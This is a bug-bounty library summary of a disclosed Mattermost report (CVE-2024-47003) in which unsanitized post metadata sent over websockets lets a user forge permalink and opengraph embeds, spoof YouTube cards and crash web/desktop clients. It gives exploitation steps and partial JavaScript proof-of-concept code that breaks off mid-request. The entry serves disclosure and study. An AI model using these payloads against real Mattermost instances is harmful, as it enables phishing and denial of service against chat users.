# Posts sent via websockets aren't sanitized properly

Mattermost accepted client-supplied post metadata over the API without server-side sanitization, letting a user forge permalink/opengraph embeds and crash web/desktop clients with a non-string message.

- Payout: $150
- Severity: low
- Program: Mattermost
- Found by (vendor credit): c0rydoras (c0rydoras)
- Found by: c0rydoras
- Disclosed: 2024-10-01
- CVE: CVE-2024-47003
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/2541027
- Library page: https://bugbountylibrary.com/r/h1%3A2541027
- Tags: area:web domain:web impact:dos impact:integrity kind:bounty platform:hackerone sev:low tech:rest tech:websocket technique:source-review vuln:dos

**Target:** Mattermost posts API / websocket post events (metadata embeds)
**Root cause:** Post metadata (embeds) supplied in the create-post request is trusted and broadcast over websockets without the same sanitization applied when posts are saved to the database, so attacker-controlled embed fields reach clients verbatim.
**Steps:**
1. Authenticate and POST to `/api/v4/posts` with `metadata.embeds[0].type=permalink` and a fully attacker-controlled `data.post` object (message, user_id, channel_display_name).
2. Observe the `posted` websocket event echoes the forged embed unchanged.
3. For DoS, set `data.post.message` to an array `['This will crash your webapp/desktop app']` instead of a string; web/desktop clients render a white page and require restart.
4. For phishing, send `type=opengraph` embed with `url` containing `?ignore=https://youtube.com/watch?v=dQw4w9WgXcQ` and forged title/site_name to render a fake YouTube card.
5. Reuse a valid embed across multiple channels then edit to an invalid message to crash all channels at once.
**How found:** Compared how posts are sanitized when persisted to the database versus how they are broadcast over websockets, then tested injecting arbitrary metadata fields into the create-post request.
**Exploitation:** Any authenticated user posts crafted metadata via the REST API; the server broadcasts it over websockets to channel members, whose web/desktop clients render the forged embed or crash on a non-string message, requiring a restart.
**Escalation:** Placing valid embeds in multiple channels (town-square, off-topic) then swapping to an invalid message crashes all those channels simultaneously for every client.
**Insight:** When a product has two write paths (DB persistence vs. websocket broadcast), diff their validation—client-supplied render metadata like embeds is a common place where the broadcast path skips sanitization.

## Proof of concept (copied exactly from the original report)

**Permalink embed with fully customizable content**

```
const metadata = ({
    embeds: [
      {
        type: "permalink",
        data: {
          post_id: MM_TARGET_ID,
          post: {
            id: MM_TARGET_ID,
            user_id: MM_SHOWN_USER_ID,
            channel_id: "doesnt-matter",
            root_id: "",
            original_id: "",
            message: 'This can be whatever i want',
            type: "",
            props: {},
            hashtags: "",
            reply_count: 0,
            last_reply_at: 0,
            participants: [],
            metadata: {},
          },
          team_name: "",
          channel_display_name: "can-be-anything-i-want",
          channel_type: "O",
          channel_id: "",
        },
      },
    ],
})

const body = JSON.stringify({
  file_ids: [],
  message: "",
  props: {
    previewed_post: MM_TARGET_ID,
  },
  channel_id: MM_CHANNEL_ID,
  user_id: MM_USER_ID,
  metadata,
});

const resp = await fetch(`${MM_INSTANCE_URL}/api/v4/posts`, {
```

**Youtube opengraph embed with spoofed link**

```
const metadata = {
  embeds: [
    {
      type: "opengraph",
      url: `${TARGET_URL}?ignore=https://youtube.com/watch?v=dQw4w9WgXcQ`,
```

